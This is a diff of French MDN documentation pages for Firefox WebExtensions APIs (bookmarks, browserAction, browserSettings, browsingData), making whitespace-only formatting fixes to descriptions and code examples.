a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onimportended/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onimportended/index.md @@ -70,7 +70,7 @@ browser.browserAction.onClicked.addListener(handleClick); > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onmoved/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onmoved/index.md index b3e7e0e1ba..d09521065f 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onmoved/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onmoved/index.md @@ -89,7 +89,7 @@ browser.browserAction.onClicked.addListener(handleClick); > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onremoved/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onremoved/index.md index 4886833f57..012f3b7b12 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onremoved/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onremoved/index.md @@ -85,7 +85,7 @@ browser.browserAction.onClicked.addListener(handleClick); > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/remove/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/remove/index.md index 462f4b4526..2bf712cd14 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/remove/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/remove/index.md @@ -64,7 +64,7 @@ removingBookmark.then(onRemoved, onRejected); > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/removetree/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/removetree/index.md index c486d554ff..705090c7cb 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/removetree/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/removetree/index.md @@ -70,7 +70,7 @@ searchingBookmarks.then(removeMDN, onRejected); > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/search/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/search/index.md index 64e5dace86..db8b3e7bc8 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/search/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/search/index.md @@ -49,7 +49,7 @@ var searching = browser.bookmarks.search( ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) sera accompli avec un tableau d'objets {{WebExtAPIRef('bookmarks.BookmarkTreeNode')}}, chacun représentant un seul nœud d'arbre de signet correspondant. Les résultats sont renvoyés dans l'ordre de création des nœuds. Le tableau est vide si aucun résultat n'a été trouvé.Le [`BookmarkTreeNodes`](/fr/Add-ons/WebExtensions/API/bookmarks/BookmarkTreeNode)—même du type `"folder"` — renvoyé par `bookmarks.search()` ne contiennent pas la propriété children. Pour obtenir un `BookmarkTreeNode` utilisez [`bookmarks.getSubTree()`](/fr/Add-ons/WebExtensions/API/bookmarks/getSubTree). +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) sera accompli avec un tableau d'objets {{WebExtAPIRef('bookmarks.BookmarkTreeNode')}}, chacun représentant un seul nœud d'arbre de signet correspondant. Les résultats sont renvoyés dans l'ordre de création des nœuds. Le tableau est vide si aucun résultat n'a été trouvé.Le [`BookmarkTreeNodes`](/fr/Add-ons/WebExtensions/API/bookmarks/BookmarkTreeNode)—même du type `"folder"` — renvoyé par `bookmarks.search()` ne contiennent pas la propriété children. Pour obtenir un `BookmarkTreeNode` utilisez [`bookmarks.getSubTree()`](/fr/Add-ons/WebExtensions/API/bookmarks/getSubTree). ## Exemple @@ -102,7 +102,7 @@ browser.browserAction.onClicked.addListener(checkActiveTab); > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/update/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/update/index.md index b842453466..be9fa5b7d3 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/update/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/update/index.md @@ -84,7 +84,7 @@ searching.then(updateFolders, onRejected); > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/browseraction/colorarray/index.md b/files/fr/mozilla/add-ons/webextensions/api/browseraction/colorarray/index.md index 07857eb111..b4df1f2a5c 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browseraction/colorarray/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browseraction/colorarray/index.md @@ -24,7 +24,7 @@ Un tableau de quatre nombres entiers entre 0-255 définie une couleur RGBA. Les 3. Bleu 4. Alpha (opacité). -Par exemple , le rouge opaque est `[255, 0, 0, 255]`. +Par exemple , le rouge opaque est `[255, 0, 0, 255]`. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/browseraction/getbadgebackgroundcolor/index.md b/files/fr/mozilla/add-ons/webextensions/api/browseraction/getbadgebackgroundcolor/index.md index 23b461fc6f..67285ee9d7 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browseraction/getbadgebackgroundcolor/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browseraction/getbadgebackgroundcolor/index.md @@ -45,7 +45,7 @@ browser.browserAction.getBadgeBackgroundColor ( ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec la couleur récupérée en tant que {{WebExtAPIRef('browserAction.ColorArray')}}. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec la couleur récupérée en tant que {{WebExtAPIRef('browserAction.ColorArray')}}. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/browseraction/getpopup/index.md b/files/fr/mozilla/add-ons/webextensions/api/browseraction/getpopup/index.md index 62cb67125b..78ab51d03f 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browseraction/getpopup/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browseraction/getpopup/index.md @@ -17,7 +17,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/browserAction/getPopup Obtient le document HTML défini comme la popup pour cette action du navigateur. -Il s'agit d'une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). +Il s'agit d'une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). ## Syntaxe diff --git a/files/fr/mozilla/add-ons/webextensions/api/browseraction/gettitle/index.md b/files/fr/mozilla/add-ons/webextensions/api/browseraction/gettitle/index.md index 6e2bc02afe..0da3722c08 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browseraction/gettitle/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browseraction/gettitle/index.md @@ -17,7 +17,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/browserAction/getTitle Obtient le titre de l'action du navigateur. -Tout comme vous pouvez définir le titre par onglet en utilisant {{WebExtAPIRef("browserAction.setTitle()")}}, vous pouvez donc récupérer un titre spécifique à un onglet en passant l'ID de l'onglet dans cette fonction. +Tout comme vous pouvez définir le titre par onglet en utilisant {{WebExtAPIRef("browserAction.setTitle()")}}, vous pouvez donc récupérer un titre spécifique à un onglet en passant l'ID de l'onglet dans cette fonction. Il s'agit d'une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). diff --git a/files/fr/mozilla/add-ons/webextensions/api/browseraction/imagedatatype/index.md b/files/fr/mozilla/add-ons/webextensions/api/browseraction/imagedatatype/index.md index 9e1913e5e9..d3e27572f4 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browseraction/imagedatatype/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browseraction/imagedatatype/index.md @@ -15,7 +15,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/browserAction/ImageDataType --- {{AddonSidebar()}} -Données en pixels pour une image. Doit être un objet [`ImageData`](/fr/docs/Web/API/ImageData) (par exemple, un élément {{htmlelement("canvas")}}). +Données en pixels pour une image. Doit être un objet [`ImageData`](/fr/docs/Web/API/ImageData) (par exemple, un élément {{htmlelement("canvas")}}). ## Type diff --git a/files/fr/mozilla/add-ons/webextensions/api/browseraction/index.md b/files/fr/mozilla/add-ons/webextensions/api/browseraction/index.md index c649767225..cfea18f263 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browseraction/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browseraction/index.md @@ -45,7 +45,7 @@ Quand l'API `browserAction`, vous pouvez : - {{WebExtAPIRef("browserAction.setIcon()")}} - : Définit l'icône de l'action du navigateur. - {{WebExtAPIRef("browserAction.setPopup()")}} - - : Définit le document HTML à ouvrir en popup lorsque l'utilisateur clique sur l'icône de l'action du navigateur. + - : Définit le document HTML à ouvrir en popup lorsque l'utilisateur clique sur l'icône de l'action du navigateur. - {{WebExtAPIRef("browserAction.getPopup()")}} - : Permet de définir le document HTML en tant que popup de l'action du navigateur. - {{WebExtAPIRef("browserAction.openPopup()")}} @@ -65,7 +65,7 @@ Quand l'API `browserAction`, vous pouvez : - {{WebExtAPIRef("browserAction.enable()")}} - : Active l'action du navigateur pour un onglet. Par défaut, les actions du navigateur sont activées pour tous les onglets. - {{WebExtAPIRef("browserAction.disable()")}} - - : Désactive l'action du navigateur pour un onglet, ce qui signifie qu'il ne peut pas être cliqué lorsque cet onglet est actif. + - : Désactive l'action du navigateur pour un onglet, ce qui signifie qu'il ne peut pas être cliqué lorsque cet onglet est actif. - {{WebExtAPIRef("browserAction.isEnabled()")}} - : Vérifie si l'action du navigateur est activée ou non. diff --git a/files/fr/mozilla/add-ons/webextensions/api/browseraction/isenabled/index.md b/files/fr/mozilla/add-ons/webextensions/api/browseraction/isenabled/index.md index f71c30074e..2c953a86f7 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browseraction/isenabled/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browseraction/isenabled/index.md @@ -56,7 +56,7 @@ Vérifiez l'état global : ```js browser.browserAction.isEnabled({}).then(result => { - console.log(result); + console.log(result); }); ``` @@ -64,14 +64,14 @@ Vérifiez l'état de l'onglet actuellement actif : ```js async function enabledInActiveTab() { - let tabs = await browser.tabs.query({ + let tabs = await browser.tabs.query({ currentWindow:true, active: true }); - let enabled = await browser.browserAction.isEnabled({ + let enabled = await browser.browserAction.isEnabled({ tabId: tabs[0].id }); - console.log(enabled); + console.log(enabled); } ``` diff --git a/files/fr/mozilla/add-ons/webextensions/api/browseraction/onclicked/index.md b/files/fr/mozilla/add-ons/webextensions/api/browseraction/onclicked/index.md index b68b3a524c..ffe485d95f 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browseraction/onclicked/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browseraction/onclicked/index.md @@ -17,7 +17,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/browserAction/onClicked Action quand l'icone d'action du navigateur est cliqué. Cet événement ne déclenchera pas si l'action du navigateur comporte une fenêtre contextuelle. -Pour définir une action de clic droit, utilisez l'API [`contextMenus`](/fr/Add-ons/WebExtensions/API/contextMenus) avec le [type de contexte](/fr/Add-ons/WebExtensions/API/contextMenus/ContextType) "browser_action". +Pour définir une action de clic droit, utilisez l'API [`contextMenus`](/fr/Add-ons/WebExtensions/API/contextMenus) avec le [type de contexte](/fr/Add-ons/WebExtensions/API/contextMenus/ContextType) "browser_action". ## Syntaxe @@ -34,7 +34,7 @@ Les événements ont trois fonctions : - `removeListener(listener)` - : Arretez d'écouter cet événement. L'argument de l'auditeur est l'auditeur à supprimer. - `hasListener(listener)` - - : Vérifier si l'autditeur est enregistré pour cet événement. Renvoie `true` si elle est écouté, sinon `false`. + - : Vérifier si l'autditeur est enregistré pour cet événement. Renvoie `true` si elle est écouté, sinon `false`. ## addListener syntaxe diff --git a/files/fr/mozilla/add-ons/webextensions/api/browseraction/setbadgebackgroundcolor/index.md b/files/fr/mozilla/add-ons/webextensions/api/browseraction/setbadgebackgroundcolor/index.md index 5659d72235..2f91351a55 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browseraction/setbadgebackgroundcolor/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browseraction/setbadgebackgroundcolor/index.md @@ -61,7 +61,7 @@ La couleur par défaut dans Firefox est : `[217, 0, 0, 255]`. ## Exemples -Une couleur d'arrière plan qui commence en rouge et devient verte lorsque l'action du navigateur est cliquée : +Une couleur d'arrière plan qui commence en rouge et devient verte lorsque l'action du navigateur est cliquée : ```js browser.browserAction.setBadgeText({text: "1234"}); diff --git a/files/fr/mozilla/add-ons/webextensions/api/browseraction/seticon/index.md b/files/fr/mozilla/add-ons/webextensions/api/browseraction/seticon/index.md index 2b23af2136..bb654f9798 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browseraction/seticon/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browseraction/seticon/index.md @@ -19,9 +19,9 @@ Définit l'icône pour l'action du navigateur. Vous pouvez spécifier une seule icône comme chemin d'accès à un fichier ou un objet {{WebExtAPIRef('browserAction.ImageDataType')}} . -Vous pouvez spécifier plusieurs icônes dans différentes tailles en fournissant un dictionnaire contenant plusieurs chemins ou des objets `ImageData`. Cela signifie que l'icône ne doit pas être mise à l'échelle pour un périphérique avec une densité de pixels différente. +Vous pouvez spécifier plusieurs icônes dans différentes tailles en fournissant un dictionnaire contenant plusieurs chemins ou des objets `ImageData`. Cela signifie que l'icône ne doit pas être mise à l'échelle pour un périphérique avec une densité de pixels différente. -Les onglets sans icône spécifique hériteront de l'icône globale, qui par défaut est [`default_icon`](/fr/Add-ons/WebExtensions/manifest.json/browser_action) specifié dans le manifest. +Les onglets sans icône spécifique hériteront de l'icône globale, qui par défaut est [`default_icon`](/fr/Add-ons/WebExtensions/manifest.json/browser_action) specifié dans le manifest. Il s'agit d'une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). @@ -43,7 +43,7 @@ var settingIcon = browser.browserAction.setIcon( - : `{{WebExtAPIRef('browserAction.ImageDataType')}}` ou `object`. Il s'agit soit d'un seul objet `ImageData` ou un dictionnaire d'objet. - Utilisez un dictionnaire d'objet pour spécifier plusieurs objets `ImageData` dans différentes tailles, de sorte que l'icône ne doit pas être mise à l'échelle pour un périphérique avec une densité de pixel différentes. Si `imageData` est un dictionnaire, la valeur de chaque propriété est un objet`ImageData`, et son nom est sa taille, comme ceci : + Utilisez un dictionnaire d'objet pour spécifier plusieurs objets `ImageData` dans différentes tailles, de sorte que l'icône ne doit pas être mise à l'échelle pour un périphérique avec une densité de pixel différentes. Si `imageData` est un dictionnaire, la valeur de chaque propriété est un objet`ImageData`, et son nom est sa taille, comme ceci : ```json { diff --git a/files/fr/mozilla/add-ons/webextensions/api/browseraction/setpopup/index.md b/files/fr/mozilla/add-ons/webextensions/api/browseraction/setpopup/index.md index 8236f249bd..5269a3308d 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browseraction/setpopup/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browseraction/setpopup/index.md @@ -41,7 +41,7 @@ browser.browserAction.setPopup( Ceci peut pointer vers un fichier empaqueté dans l'extension (par exemple, créé à l'aide de {{WebExtAPIRef("extension.getURL")}}), ou un document distant (par exemple `https://example.org/`). - Si une chaîne vide (`""`) est passée ici, le popup est désactivé, et l'extension recevra les événements {{WebExtAPIRef("browserAction.onClicked")}}. + Si une chaîne vide (`""`) est passée ici, le popup est désactivé, et l'extension recevra les événements {{WebExtAPIRef("browserAction.onClicked")}}. Si le `popup` est `null`: diff --git a/files/fr/mozilla/add-ons/webextensions/api/browseraction/settitle/index.md b/files/fr/mozilla/add-ons/webextensions/api/browseraction/settitle/index.md index 35b0c602e8..c857df5480 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browseraction/settitle/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browseraction/settitle/index.md @@ -59,7 +59,7 @@ browser.browserAction.setTitle( ## Exemples -Ce code change le titre entre "ceci" et "ça" chaque fois que l'utilisateur clique sur l'action du navigateur : +Ce code change le titre entre "ceci" et "ça" chaque fois que l'utilisateur clique sur l'action du navigateur : ```js function toggleTitle(title) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/browsersettings/allowpopupsforuserevents/index.md b/files/fr/mozilla/add-ons/webextensions/api/browsersettings/allowpopupsforuserevents/index.md index 9c37535515..7293b83ec6 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browsersettings/allowpopupsforuserevents/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browsersettings/allowpopupsforuserevents/index.md @@ -15,7 +15,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/browserSettings/allowPopupsFor Un objet {{WebExtAPIRef("types.BrowserSetting", "BrowserSetting")}} qui peut etre utilisé pour activer ou désactiver la capacité des pages web d'ouvrir des popups en réponse aux actions de l'utilisateur. -La valeur sous-jacente est un booléen. +La valeur sous-jacente est un booléen. Par défaut, les navigateurs permettent aux pages Web d'ouvrir des fenêtres contextuelles en réponse à un ensemble particulier d'événements : par exemple [click](/fr/docs/Web/Events/click), [mouseup](/fr/docs/Web/Events/mouseup), [submit](/fr/docs/Web/Events/submit). Si `allowPopupsForUserEvents` est défini sur `false`, aucun événement utilisateur ne pourra ouvrir des fenêtres contextuelles. Si elle est définie sur `true`, l'ensemble d'événements par défaut sera autorisé à ouvrir des fenêtres contextuelles. diff --git a/files/fr/mozilla/add-ons/webextensions/api/browsersettings/homepageoverride/index.md b/files/fr/mozilla/add-ons/webextensions/api/browsersettings/homepageoverride/index.md index ac06e90606..9e8130fa33 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browsersettings/homepageoverride/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browsersettings/homepageoverride/index.md @@ -16,7 +16,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/browserSettings/homepageOverri Un objet {{WebExtAPIRef("types.BrowserSetting", "BrowserSetting")}} qui peut être utilisé pour obtenir une chaîne représentant l'URL actuellement définie comme page d'accueil du navigateur. -Notez qu'il s'agit d'un paramètre en lecture seule. Pour changer la page d'accueil, voir [chrome_settings_overrides](/fr/Add-ons/WebExtensions/manifest.json/chrome_settings_overrides). +Notez qu'il s'agit d'un paramètre en lecture seule. Pour changer la page d'accueil, voir [chrome_settings_overrides](/fr/Add-ons/WebExtensions/manifest.json/chrome_settings_overrides). ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/browsersettings/index.md b/files/fr/mozilla/add-ons/webextensions/api/browsersettings/index.md index 9a7cbe43fc..76b7d9f524 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browsersettings/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browsersettings/index.md @@ -46,7 +46,7 @@ Pour utiliser cette API, vous devez avoir la [permission](/fr/Add-ons/WebExtensi - {{WebExtAPIRef("browserSettings.useDocumentFonts")}} - : Contrôle si le navigateur utilisera les polices spécifiées par une page Web ou n'utilisera que des polices intégrées. - {{WebExtAPIRef("browserSettings.webNotificationsDisabled")}} - - : Empêche les sites Web d'afficher des notifications à l'aide de la web API [`Notification`](/fr/docs/Web/API/notification). + - : Empêche les sites Web d'afficher des notifications à l'aide de la web API [`Notification`](/fr/docs/Web/API/notification). - {{WebExtAPIRef("browserSettings.zoomFullPage")}} - : Contrôle si le zoom est appliqué à la page entière ou seulement au texte. - {{WebExtAPIRef("browserSettings.zoomSiteSpecific")}} diff --git a/files/fr/mozilla/add-ons/webextensions/api/browsersettings/newtabposition/index.md b/files/fr/mozilla/add-ons/webextensions/api/browsersettings/newtabposition/index.md index 0ee1033c2e..27a2e05b5e 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browsersettings/newtabposition/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browsersettings/newtabposition/index.md @@ -23,10 +23,10 @@ Ce code définit la valeur à "afterCurrent" puis enregistre la nouvelle valeur ```js async function setAfterCurrent() { - let result = await browser.browserSettings.newTabPosition.set({value: "afterCurrent"}); - console.log(`Result: ${result}`); - let newValue = await browser.browserSettings.newTabPosition.get({}); - console.log(`New value: ${newValue.value}`); + let result = await browser.browserSettings.newTabPosition.set({value: "afterCurrent"}); + console.log(`Result: ${result}`); + let newValue = await browser.browserSettings.newTabPosition.get({}); + console.log(`New value: ${newValue.value}`); } ``` diff --git a/files/fr/mozilla/add-ons/webextensions/api/browsersettings/overridedocumentcolors/index.md b/files/fr/mozilla/add-ons/webextensions/api/browsersettings/overridedocumentcolors/index.md index 73a6198499..b30203ec23 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browsersettings/overridedocumentcolors/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browsersettings/overridedocumentcolors/index.md @@ -21,7 +21,7 @@ Firefox permet à l'utilisateur de définir ses propres couleurs pour les arriè Sa valeur sous-jacente est une chaîne qui peut prendre l'une des valeurs suivantes: - "high-contrast-only": applique les choix de l'utilisateur uniquement lorsqu'un thème à contraste élevé est sélectionné. C'est la valeur par défaut. -- "never": n'applique jamais les choix de l'utilisateur +- "never": n'applique jamais les choix de l'utilisateur - "always": Toujours appliquer les choix de l'utilisateur. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/browsersettings/usedocumentfonts/index.md b/files/fr/mozilla/add-ons/webextensions/api/browsersettings/usedocumentfonts/index.md index 6add95e654..7b446f2b55 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browsersettings/usedocumentfonts/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browsersettings/usedocumentfonts/index.md @@ -21,7 +21,7 @@ Par défaut, bien sûr, les pages Web peuvent spécifier les polices qu'ils veul Sa valeur sous-jacente est un booléen : - `true`: utilise les polices spécifiées par la page Web. C'est la valeur par défaut. -- `false`: utilise les polices du système. +- `false`: utilise les polices du système. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/browsingdata/datatypeset/index.md b/files/fr/mozilla/add-ons/webextensions/api/browsingdata/datatypeset/index.md index e471a1800b..87b2e84fa6 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browsingdata/datatypeset/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browsingdata/datatypeset/index.md @@ -14,14 +14,14 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/browsingData/DataTypeSet --- {{AddonSidebar()}} -Le type **`browsingData.DataTypeSet`** décrit un ensemble de types de données. +Le type **`browsingData.DataTypeSet`** décrit un ensemble de types de données. Il contient un certains nombres de propriétés booléennes. Le nom de chaque propriété est le nom d'un type particulier de données de navigations : "Téléchargements", "historique" et ainsi de suite. Toutes les propriétés sont facultatives. Ce type est utilisé : -- dans {{WebExtAPIRef("browsingData.remove()")}} pour décrire les types de données à supprimer -- dans {{WebExtAPIRef("browsingData.settings()")}} pour décrire les types de données actuellement sélectionnés dans la fonction "effacer l'historique" du navigateur. +- dans {{WebExtAPIRef("browsingData.remove()")}} pour décrire les types de données à supprimer +- dans {{WebExtAPIRef("browsingData.settings()")}} pour décrire les types de données actuellement sélectionnés dans la fonction "effacer l'historique" du navigateur. ## Type diff --git a/files/fr/mozilla/add-ons/webextensions/api/browsingdata/index.md b/files/fr/mozilla/add-ons/webextensions/api/browsingdata/index.md index 5caea7fed8..87940da8f0 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browsingdata/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browsingdata/index.md @@ -28,7 +28,7 @@ Dans l'API `browsingData`, les données de navigations sont divisées en types : Vous pouvez utiliser la fonction {{WebExtAPIRef("browsingData.remove()")}} pour supprimer toute combinaison de ces types. Il existe également des fonctions dédiées pour supprimer chaque type particulier de données, comme {{WebExtAPIRef("browsingData.removePasswords()", "removePasswords()")}}, {{WebExtAPIRef("browsingData.removeHistory()", "removeHistory()")}} etc. -Toutes les fonctions `browsingData.remove[X]()` prennent un objet {{WebExtAPIRef("browsingData.RemovalOptions")}} que vous pouvez utiliser pour contrôler deux autres aspects de la suppression des données : +Toutes les fonctions `browsingData.remove[X]()` prennent un objet {{WebExtAPIRef("browsingData.RemovalOptions")}} que vous pouvez utiliser pour contrôler deux autres aspects de la suppression des données : - dans quelle mesure remonter dans le temps pour supprimer des données - qu'il s'agisse de supprimer des données uniquement de pages Web normales ou d'applications Web hébergées et de modules complémentaires. Notez que cette option n'est pas encore supportée dans Firefox. diff --git a/files/fr/mozilla/add-ons/webextensions/api/browsingdata/removaloptions/index.md b/files/fr/mozilla/add-ons/webextensions/api/browsingdata/removaloptions/index.md index 165ac30fbe..50e7c6ba77 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browsingdata/removaloptions/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browsingdata/removaloptions/index.md @@ -24,7 +24,7 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - : `Array` of `string`. Cette propriété s'applique uniquement aux cookies et aux éléments de stockage locaux. Ne supprimez que les cookies et les éléments de stockage locaux associés à ces noms d'hôte. - Vous 